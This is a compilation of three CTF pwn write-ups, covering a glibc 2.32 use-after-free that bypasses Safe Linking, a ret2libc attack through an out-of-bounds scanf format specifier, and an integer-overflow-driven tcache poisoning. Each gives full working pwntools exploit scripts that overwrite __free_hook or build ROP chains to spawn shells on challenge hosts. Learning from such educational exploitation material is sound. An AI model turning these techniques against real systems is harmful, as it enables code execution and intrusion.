This challenge have an UAF bug which occures when freeing a chunk is some way , but glibc version is 2.32 so we have to deal with Safe Linking by getting a heap leak.

Understanding The Program Flow

The binary have a five choices menu which allows you to allocate a bloc, delete a bloc, edit a bloc , show a bloc and freeze a bloc. Reversing this binary is not hard , i am going to explain briefly through every choice.

Allocating a bloc

    if ( choice == 1 )
    {
      index = get_index();
      puts("Bloc Size:");
      if ( (unsigned int)__isoc99_scanf("%lu", size) != 1 )
        exit(-1);
      v4 = size[0];
      if ( size[0] > 1280 )
      {
        puts("Bad size..");
        exit(-1);
      }
      sizes[index] = size[0];
      *heap[index] = malloc(v4);
      puts("Data:");
      size[0] = read(0, *((void **)&heap + index), size[0]);
      *(_BYTE *)(*((_QWORD *)&heap + index) + size[0] - 1) = 0;
    }

This function is so simple it takes an index ( without checking if this index is availble or not , this will be usefull later) , a size which should not more than 1280 , and finally it takes data into the allocated chunk.

Freezing a bloc

    if ( choice == 5 )
    {
      index = get_index();
      if ( freezed == -1 )
        freezed = index;
    }

Simple choice , it prompts for an index and checks if freezed global variable is equal to -1 , if condition is met the freezed variable gets the index value. this choice will get in handy when i explain how deleting a bloc works. NB : This choice is only a one time use since we are going to change freezed value to index value so the condition check for if freezed equals -1 now is false

Deleting a bloc

PS: i usually do my reversing in ida but for this choice ida gave me some false positive so i had to do it using ghidra.

        if (choice == 2) {
          index = get_index();
          if (*(void **)(heap + index * 8) != (void *)0x0) {
            if ((freezed == index) && (isfreezed != 0)) goto LAB_00100c8b;
            free(*(void **)(heap + index * 8));
          }
          if (freezed == index) {
            isfreezed = 1;
          }
          else {
            *(undefined8 *)(heap + index * 8) = 0;
          }
        }

our bug lays here , by tricking the program we can achieve a UAF Bug but this bug is only availble for only one index so we need to use it carefully.

Editing a bloc

    if ( choice == 3 )
    {
      index = get_index();
      if ( *((_QWORD *)&heap + v7) )
      {
        puts("Data:");
        size[0] = read(0, *((void **)&heap + index), sizes[v7]);
        *(_BYTE *)(*((_QWORD *)&heap + v7) + sizes[index] - 1LL) = 0;

Showing a bloc

    if ( choice == 4 )
    {
      index = get_index();
      if ( *((_QWORD *)&heap + index) )
      {
        puts("Data:");
        puts(*((const char **)&heap + index));
      }
    }

Exploitation

now we have a brief idea about the functinality of the program, let’s try some exploitation.

creating some helpers

#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch = "amd64", log_level="debug")
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.32.so")
context.binary = exe
#p = process("./chall_patched")
p = remote("challenge03.root-me.org", 56589)
def alpha(heap, target):
    return target ^ (heap >> 0xc)

def x(): gdb.attach(p)
def sl(choice): p.sendlineafter(b"Choice?\n", str(choice))
def add(idx,size,content:bytes):
    sl(1)
    p.sendlineafter("Index:", str(idx))
    p.sendlineafter("Size:", str(size))
    p.sendafter("Data:", content)

def free(idx):
    sl(2)
    p.sendlineafter("Index:", str(idx))

def edit(idx,content:bytes):
    sl(3)
    p.sendlineafter("Index:", str(idx))
    p.sendafter("Data:", content)
def show(idx):
    sl(4)
    p.sendlineafter("Index:", str(idx))

def freeze(idx):
    sl(5)
    p.sendlineafter("Index:", str(idx))

def decrypt(cipher):
    key = 0
    for i in range(1, 6):
        bits = 64 - 12 * i
        if bits < 0:
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12
    return plain

def main():
    x()
    p.interactive()

if __name__ == "__main__":
    main()

i am going to explain what alpha() and decrypt() functions does later on .

Libc base leaking :

    add(0, 0x428, b"A"*8)
    add(1 ,0x18, b"B"*8)
    freeze(0)
    free(0)
    add(2, 0x438, b"E" * 8)
    show(0)
    print(p.recvline())
    print(p.recvline())
    libc_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0x1e3ff0
    print(hex(libc_base))

here i allocated a big chunk so it goes beyong the tcache bin size range so i can get a libc pointer. chunk with index 1 is for preventing consolidation. freeing the index 0 chunk then i add an another chunk which is bigger than the first one to push the first chunk into the large bin. So generally in classic heap exploitation challenges we use unsorted bin to leak libc , in this case if we use unsorted bin it’s going to be a dead end since the address of the head of unsorted bin in main_arena contains a null byte , the function show a bloc uses puts to show the content of a bloc and puts stops in a null byte so we have to figure out another way to leak the libc. i choose large bin , small bin also may works (i didn’t try it). so now our heap state is like this.

gef➤  heap bins
───────────────────────────────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ─────────────────────────────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=63, size=0x410, count=1] ←  Chunk(addr=0x563e88fbc2a0, size=0x410, flags=PREV_INUSE) 
────────────────────────────────────────────────────────────────────────────────────────────────── Fastbins for arena at 0x7fc631bf2ba0 ──────────────────────────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
──────────────────────────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0x7fc631bf2ba0 ────────────────────────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
───────────────────────────────────────────────────────────────────────────────────────────────── Small Bins for arena at 0x7fc631bf2ba0 ─────────────────────────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
───────────────────────────────────────────────────────────────────────────────────────────────── Large Bins for arena at 0x7fc631bf2ba0 ─────────────────────────────────────────────────────────────────────────────────────────────────
[+] large_bins[63]: fw=0x563e88fbc6a0, bk=0x563e88fbc6a0
 →   Chunk(addr=0x563e88fbc6b0, size=0x430, flags=PREV_INUSE)
[+] Found 1 chunks in 1 large non-empty bins.

0x563e88fbc6a0: 0x0000000000000000      0x0000000000000431
0x563e88fbc6b0: 0x00007fc631bf2ff0      0x00007fc631bf2ff0
0x563e88fbc6c0: 0x0000563e88fbc6a0      0x0000563e88fbc6a0
0x563e88fbc6d0: 0x0000000000000000      0x0000000000000000
gef➤  
0x563e88fbc6e0: 0x0000000000000000      0x0000000000000000
0x563e88fbc6f0: 0x0000000000000000      0x0000000000000000
0x563e88fbc700: 0x0000000000000000      0x0000000000000000
0x563e88fbc710: 0x0000000000000000      0x0000000000000000
0x563e88fbc720: 0x0000000000000000      0x0000000000000000
0x563e88fbc730: 0x0000000000000000      0x0000000000000000
0x563e88fbc740: 0x0000000000000000      0x0000000000000000
.........................................................
.........................................................
0x563e88fbcad0: 0x0000000000000430      0x0000000000000020
0x563e88fbcae0: 0x0042424242424242      0x0000000000000000

the output from the program

b'Data:\n'
0x7fc631a0f000 // libc base
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall_patched', '57940']
[DEBUG] Created script for new terminal:
    #!/usr/bin/python3
    import os
    os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './chall_patched', '57940'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmptd_0eyj7']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
What do you want to do...
1 . Alloc a bloc
2 . Free a bloc
3 . Edit a bloc
4 . Show a bloc
5 - Freeze a bloc
Choice?
$  

libc base leaking is done we go for heap base leak.

Heap base leak

Well in usual Tcache poisining attacks heap base leaks is not required but since libc 2.32 introduced Safe Linking heap base now is a must to be able to solve such challenges. for more information, about Safe Linking: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/

    add(3, 0x20, b"X" * 8)
    add(4, 0x20, b"Z" * 8)
    add(5, 0x18, b"/bin/sh\x00")
    free(4)
    free(3)
    show(0)
    print(p.recvline())
    print(p.recvline())
    leak = u64(p.recvline().strip(b"\n").ljust(8,b"\x00"))
    heap_base = decrypt(leak) -0x2d0#- 0x6e0 for local
    print(hex(heap_base))

now the array that contains the heap pointer is this program is called heap . In this array index 0 and index 3 hold the same pointer for the same chunk which we are going to use to get a heap leak . first we allcoate 2 chunks with the same size , and another with any size (just to prevent from merging). now we free both of them so the tcache bin state for size 0x20 is like this TCACHE[0x20] = INDEX_0_FWD points_to => INDEX_1 as we said earlier index 0 and index 3 in the heap array have the same pointer so by showing the index 0 chunk we get a heap leak (we can’t do the same by showing index 3 because index 3 have been nulled in the heap array). finally we have to decrypt the pointer that we leaked using the decrypt() function to regain the original pointer and calculate the heap base. output:

b'Data:\n'
0x5620321ce410
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall_patched', '61258']
[DEBUG] Created script for new terminal:
    #!/usr/bin/python3
    import os
    os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './chall_patched', '61258'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpxoowqif3']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
What do you want to do...
1 . Alloc a bloc
2 . Free a bloc
3 . Edit a bloc
4 . Show a bloc
5 - Freeze a bloc
Choice?
$  

Heap state :

0x5620321ce6a0: 0x0000000000000000      0x0000000000000031
0x5620321ce6b0: 0x00005625501fc72e      0x00005620321ce010 //encryped pointer.
0x5620321ce6c0: 0x00005620321ce6a0      0x00005620321ce6a0
0x5620321ce6d0: 0x0000000000000000      0x0000000000000031
0x5620321ce6e0: 0x00000005620321ce      0x00005620321ce010
0x5620321ce6f0: 0x0000000000000000      0x0000000000000000
0x5620321ce700: 0x0000000000000000      0x0000000000000021
0x5620321ce710: 0x0068732f6e69622f      0x00007fc87b900c00
0x5620321ce720: 0x0000000000000000      0x00000000000003b1
0x5620321ce730: 0x00007fc87b900c00      0x00007fc87b900c00
0x5620321ce740: 0x0000000000000000      0x0000000000000000
0x5620321ce750: 0x0000000000000000      0x0000000000000000
0x5620321ce760: 0x0000000000000000      0x0000000000000000
0x5620321ce770: 0x0000000000000000      0x0000000000000000
0x5620321ce780: 0x0000000000000000      0x0000000000000000
.........................................................
.........................................................
0x5620321cead0: 0x00000000000003b0      0x0000000000000020
0x5620321ceae0: 0x0042424242424242      0x0000000000000000
0x5620321ceaf0: 0x0000000000000000      0x0000000000000441
.........................................................

calculating necessary addresses

      system = libc_base + libc.sym.system
      hook = libc_base + libc.sym.__free_hook

Only one thing left which is to mask the target pointer that we want to overwrite so we bypass Safe Linking.

      hook = alpha(heap_base, hook)

everything is read , classic Tcache poising attack now .

      edit(0, p64(hook))
      add(6, 0x20, b"A" * 8)
      add(7, 0x20, p64(system))
	  free(5) // triggering the sploit.

and we should be good

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x3b bytes:
    b'chall  chall_patched  core  ld-2.32.so\tlibc.so.6  solve.py\n'
chall  chall_patched  core  ld-2.32.so    libc.so.6  solve.py
$ id
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[DEBUG] Received 0xd0 bytes:
    b'uid=1000(retr0) gid=1000(retr0) groups=1000(retr0),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)\n'
uid=1000(retr0) gid=1000(retr0) groups=1000(retr0),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
$  

Full Exploit

#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch = "amd64", log_level="debug")
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.32.so")
context.binary = exe
#p = process("./chall_patched")
p = remote("challenge03.root-me.org", 56589)
def alpha(heap, target):
    return target ^ (heap >> 0xc)

def x(): gdb.attach(p)
def sl(choice): p.sendlineafter(b"Choice?\n", str(choice))
def add(idx,size,content:bytes):
    sl(1)
    p.sendlineafter("Index:", str(idx))
    p.sendlineafter("Size:", str(size))
    p.sendafter("Data:", content)

def free(idx):
    sl(2)
    p.sendlineafter("Index:", str(idx))

def edit(idx,content:bytes):
    sl(3)
    p.sendlineafter("Index:", str(idx))
    p.sendafter("Data:", content)
def show(idx):
    sl(4)
    p.sendlineafter("Index:", str(idx))

def freeze(idx):
    sl(5)
    p.sendlineafter("Index:", str(idx))

def decrypt(cipher):
    key = 0
    for i in range(1, 6):
        bits = 64 - 12 * i
        if bits < 0:
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12
    return plain

def main():
    add(0, 0x428, b"A"*8)
    add(1 ,0x18, b"B"*8)
    freeze(0)
    free(0)
    add(2, 0x438, b"E" * 8)
    show(0)
    print(p.recvline())
    print(p.recvline())
    libc_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0x1e3ff0
    print(hex(libc_base))
    add(3, 0x20, b"X" * 8)
    add(4, 0x20, b"Z" * 8)
    add(5, 0x18, b"/bin/sh\x00")
    free(4)
    free(3)
    show(0)
    print(p.recvline())
    print(p.recvline())
    leak = u64(p.recvline().strip(b"\n").ljust(8,b"\x00"))
    heap_base = decrypt(leak) -0x2d0#- 0x6e0
    print(hex(heap_base))
    system = libc_base + libc.sym.system
    hook = libc_base + libc.sym.__free_hook
    hook = alpha(heap_base, hook)
    edit(0, p64(hook))
    add(6, 0x20, b"A" * 8)
    add(7, 0x20, p64(system))
    p.interactive()

if __name__ == "__main__":
    main()

Gihub : https://github.com/retr0Rocks/CTF-Writeups/tree/main/Root-Me/Safe%20Linking References: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/

Summary

Abusing the fact that we can give negative indexes as input in the menu, we can leverage this primitive to adjust a call which looks like this scanf("%s", &choice). By achieving this, we can overflow the buffer that contains the input number, which then goes for a classic ret2libc attack.

Static Analysis

We don’t have that much of functions to reverse, binary is not stripped, simple reversing.

Main Function

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  __int64 input_buffer; // [rsp+10h] [rbp-10h] BYREF
  char v5; // [rsp+1Bh] [rbp-5h]
  int choice; // [rsp+1Ch] [rbp-4h]

  puts("-= Number converter v0.2 =-");
  printf("login: ");
  fgets(username, 31, stdin);
  username[strcspn(username, "\n")] = 0;
  printf("password: ");
  fgets(password, 31, stdin);
  password[strcspn(password, "\n")] = 0;
  if ( check_login() )
  {
    puts("Login success !");
    while ( 1 )
    {
      choice = menu();
      if ( !choice )
        break;
      if ( choice <= 3 )
      {
        printf("Input number: ");
        __isoc99_scanf(formatters[choice - 1], &input_buffer);
        printf("Converted: %lu\n", input_buffer);
        do
          v5 = getchar();
        while ( v5 != '\n' && v5 != (char)'\xFF' );
      }
      else
      {
        puts("Invalid choice!");
      }
    }
    result = 0;
  }
  else
  {
    puts("Invalid credentials!");
    result = 1;
  }
  return result;
}

First we are attempted with a login prompt which asks for a login and a password, we can obtain the login and the password from the check_login() function which it’s pseudocode goes like that :

_BOOL8 check_login()
{
  return !strcmp(username, "admin") && !strcmp(password, "sup3rus3r");
}

easy as pie , we got the necessary creds to pass the first prompt.

login ->admin password -> sup3ru3r

so passing this prompt looks like it gives us a menu to choose from which goes likes that

__int64 menu()
{
  puts("Input type: ");
  puts("1. Decimal");
  puts("2. Hexadecimal");
  puts("3. Octal");
  puts("0. Exit");
  printf("> ");
  return read_int();
}

Original chain flow of program :

1. Logging in.
2. Input a number.
3. Choose a type from the menu and it displays your input number with the new type.

Our first bug lays here. an out-of-bound “read” in the formatters array. choice variable is of type int , the check on the given choice checks if choice doesn’t exceed 3 which is the total choices in th given menu. So now we kinda have a little control on the format specifier given to scanf . huh ? scanf getting it’s format specifier from an array of pointers ? looks a little bit sus. dynamic analysis will give us the right answer.

Dynamic Analysis

firing up the binary in gdb and trying to inpect where the given username and password is stored in. Bingo , we have something in the mind now, we can access memory before formatters address, also by this inspection we conclude that we also have control about what comes before formatters. how this work ? let’s try giving normal inputs to the binary and check this area again.

looks nice password+16 and password + 24 are free so we can use it freely.

Exploitation

Theory

I tried in Static and Dynamic analysis to give the first nudge to understand the buf the occures in the binary, if you are following , by now you should be able to think of an exploitation path. by passing the %s format specifier to scanf we can trigger a buffer overflow.

Little visualization how the layout should be when exploiting

Practical

let’s write a simple python script that implements the theory we discussed earlier.

from pwn import *

p = process("./number-converter")
elf = ELF("./number-converter", checksec = 0)
libc = ELF("./libc-2.31.so", checksec = 0)

user = b"admin"

password = b"sup3rus3r"
password += b"\x00"
password += b"\x00" * 6
password += p64(0x4040d8) #password + 16
password += b"%s"
password += b"\x00" * 3

p.sendline(user)
p.sendline(password)
p.interactive()

( I switched to my VM for easier debugging.)

Now , we successfully prepared the layout for the exploitation.

giving -1 as the choice in the menu, we now accessed the format specifier in the formatters[-2] which is the pointer 0x4040d8 that points on %s. Giving a large input nothing happens, since we are in a while loop we need just to break out of it.

        do
          v5 = getchar();
        while ( v5 != '\n' && v5 != (char)'\xFF' );

as the code do , we just give it a new line so it breaks.

now the program broke , we have a sigsev. clear ret2libc attack. I am going to go brief on the last exploitation phase since it’s a classic attack.

payload = b"A" * 24
payload += rdi
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.sendline(payload)
p.sendline(b"")
p.recvuntil("> ")
p.recvuntil("> ")
libc_leak = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - libc.sym.puts
print(hex(libc_leak))

i grabbed pop rdi;ret gadget from ropper (ROPgadget works as well). the offset to overwrite instruction pointer can be obtained using gdb i used the got entry of puts to leak a libc address.

libc leak successfull.

system = libc_leak + libc.sym.system
binsh = libc_leak + next(libc.search(b"/bin/sh\x00"))
print(hex(system))
print(hex(binsh))
p.sendlineafter("login: ",user)
p.sendlineafter("password: ", password)
p.sendline("-1")
payload = b"A" * 24 + rdi + p64(binsh)  + ret + p64(system + 4)
p.sendline(payload)

calculating system and /bin/sh addresses. then sending it. NB: i jumped to system + 4 since whren trying to jump in system the program broke so i had to increment a little bit so i jump inside the function.

and voila, solved.

Final Exploit

from pwn import *
p = remote("ctf10k.root-me.org", 5006)
#p = process("./number-converter")
elf = ELF("./number-converter", checksec = 0)
#libc = elf.libc
libc = ELF("./libc-2.31.so", checksec = 0)
ret = p64(0x000000000040101a)
rdi = p64(0x0000000000401583)
user = b"admin"
password = b"sup3rus3r"
password += b"\x00"
password += b"\x00" * 6
password += p64(0x4040d8) #password + 16
password += b"%s"
password += b"\x00" * 3

p.sendlineafter("login: ", user)
p.sendlineafter("password: ", password)
p.sendline("-1")
payload = b"A" * 24
payload += rdi
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.sendline(payload)
p.sendline(b"")
p.recvuntil("> ")
p.recvuntil("> ")
libc_leak = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - libc.sym.puts
print(hex(libc_leak))
system = libc_leak + libc.sym.system
binsh = libc_leak + next(libc.search(b"/bin/sh\x00"))
print(hex(system))
print(hex(binsh))
p.sendlineafter("login: ",user)
p.sendlineafter("password: ", password)
p.sendline("-1")
payload = b"A" * 24 + rdi + p64(binsh)  + ret + p64(system + 4)
p.sendline(payload)
p.sendline("")
#gdb.attach(p)
p.interactive()

for any clarification m on discord : Retr0#7958.

pwn, 500.

I didn’t manage to solve this challenge during the ctf , but i kept trying until i finished it so this is a little writeup so i can share what i learnt and for keeping it as a resource for me for next challs.

Description

A classic heap exploitation challenge but with a plot twist.

Analysis

let’s start by reversing the four main functions.

All reversing was made in IDA PRO 7.5

Create Function

unsigned __int64 main_allocate()
{
  unsigned int number_of_chunks; // [rsp+Ch] [rbp-14h] BYREF
  unsigned int choice; // [rsp+10h] [rbp-10h] BYREF
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("How many chunks do you wanna allocate: ");
  number_of_chunks = 0;
  __isoc99_scanf("%u", &number_of_chunks);
  puts("Select the size: ");
  men_for_chunk_sizes();
  choice = 0;
  __isoc99_scanf("%d", &choice);
  for ( i = 0; i < number_of_chunks; ++i )
  {
    TODO();
    counter2_and_allocation(choice);
  }
  return __readfsqword(0x28u) ^ v4;
}

We are Prompted to enter the number of chunks we want to allocate. Then we chose the size we want from a menu.

int men_for_chunk_sizes()
{
  puts("1. Large size.");
  puts("2. Medium size.");
  puts("3. Small size.");
  return printf(">> ");
}

Then we enter a loop which loops depending on how many chunks we are going to allocate If we focus a little bit in here we can notice a strange thing happening which is we have 2 counters incrementing, We will figure out why later on.

counter2_and_allocation()

void __fastcall counter2_and_allocation(int a1)
{
  unsigned int index; // ebx
  int size; // [rsp+1Ch] [rbp-14h]

  if ( a1 == 3 )                                // small
  {
    size = 128;
  }
  else
  {
    if ( a1 > 3 )
      return;
    if ( a1 == 1 )                              // large
    {
      size = 1040;
    }
    else
    {
      if ( a1 != 2 )                            // medium
        return;
      size = 512;
    }
  }
  if ( (unsigned int)index_counter > 16 )       
    exit(0);
  index = index_counter++;
  notes[index] = malloc(size);
}

TODO()

__int64 TODO()
{
  return (unsigned int)++COUNTER_FROM_TODO;
}

Edit function

__int64 edit()
{
  int index; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  printf("Index to edit: ");
  index = get_input();
  if ( index < 0 || index > 16 )
    exit(0);
  printf("Enter size: ");
  size = get_input();
  if ( size > 128 )
    exit(0);
  return read_input(*((void **)&notes + index), size);
}

Simple and clean it gets the index to edit and prompts for a size which need to not be larger than 128.

View function

int view()
{
  int index; // [rsp+Ch] [rbp-4h]

  printf("Index to view: ");
  index = get_input();
  if ( index < 0 || index > 16 )
    exit(0);
  return puts(*((const char **)&notes + index));
}

As simple as edit function it gets and index and shows the content of a note.

Delete function

unsigned __int64 delete()
{
  unsigned __int64 result; // rax

  result = (unsigned int)index_counter;
  if ( index_counter )
  {
    if ( COUNTER_FROM_TODO > (unsigned int)index_counter )
    {
      fwrite("Hacking detected!!!\nExiting...\n", 1uLL, 0x1FuLL, stderr);
      exit(0);
    }
    free(*((void **)&notes + (unsigned int)--index_counter));
    --COUNTER_FROM_TODO;
    result = (unsigned __int64)&notes;
    *((_QWORD *)&notes + (unsigned int)COUNTER_FROM_TODO) = 0LL;
  }
  return result;
}

now the trick comes in here . if we are able to bypass this check where we are in a condition counter1 != counter2 and counter1 < counter2.

( COUNTER_FROM_TODO > (unsigned int)index_counter )

if we achieve that condition we can obtain a Use After Free which we can poison the forward pointer to get an arbitrary write.

How do we achieve it ?

Integer Oveflow attacks ! if you are not familliar with such topic u can refer to this article on CTF wiki

https://ctf-wiki.mahaloz.re/pwn/linux/integeroverflow/intof/

We are done with analysis let’s move on to Exploitation

Exploit

first i am going to set some helpers so i can interact with the binary .

#!/usr/bin/env python3
import time
from pwn import *
context.log_level = "DEBUG"
context.arch = 'amd64'
p = process("./main")
libc = ELF("./libc-2.31.so")

def alloc(n,c):
    p.sendlineafter('>> ','1')
    p.sendlineafter(': ',str(n))
    p.sendlineafter(':',str(c))
def free():
    p.sendlineafter('>> ','2')
def edit(idx,size,data):
    p.sendlineafter('>> ','3')
    p.sendlineafter(': ',str(idx))
    p.sendlineafter(': ',str(size))
    p.sendline(data)
def view(idx):
    p.sendlineafter('>> ','4')
    p.sendlineafter(': ',str(idx))
def main():

  pause()
  p.interactive()

if __name__ == "__main__":
    main()

NB : I PATCHED THE BINARY USING PWNINIT

First Step We Leak Libc

    alloc(5,1)#0 1 2 3 4 # We Allocate 5 chunks of large size so when freed it will contain fd and bk pointers which are main_arena addressess.
    alloc(1,3)#5 Consolidation Prevention
    alloc(int(2**32) - 6 + 3,4) # Integer Overflow Attack ( to satisfy our condition about counter1 != counter2 && counter1 < counter2 )
    time.sleep(20) 
    free()  # GOES TO TCACHE BIN 
    free()  # THIS IS WHERE OUR CHUNK THAT HAVE LIBC ADDR 
    view(4)
    base = u64(p.recv(6).ljust(8,b"\x00")) - 0x1ebbe0
    log.success('LIBC BASE => ' + hex(base))
    pause()

Second Step We do some Calculation To Pop A Shell

    system = base + libc.sym['system'] # Target to execute is system("/bin/sh");
    free_hook = base + libc.sym['__free_hook'] # we are going to overwrite free hook with system address

Final Step Create Overlapping Chunks To Perfom Tcache Poisining

    alloc(4,2)
    free()
    free()
    time.sleep(0.5)
    edit(6,128,p64(free_hook))
    alloc(2,2)
    edit(7,128,p64(system))
    alloc(2,1)
    edit(9,128,b"/bin/sh\x00")

Now free hook is succesfully overwritten with system address we allocated a chunk and we put our string /bin/sh in it now trigger the shell we just free the last chunk which contains our string so instead of free(note[9]) it just goes like system(note[9]) which is system(“/bin/sh\x00”);

    free()

Executing The exploit and sending cat flag.txt We Get

retr0{FAKE_FUCKING_FLAG}

I hope i made everything clear .

Thanks ! .

References :
https://ctf-wiki.mahaloz.re/pwn/linux/integeroverflow/intof/
https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/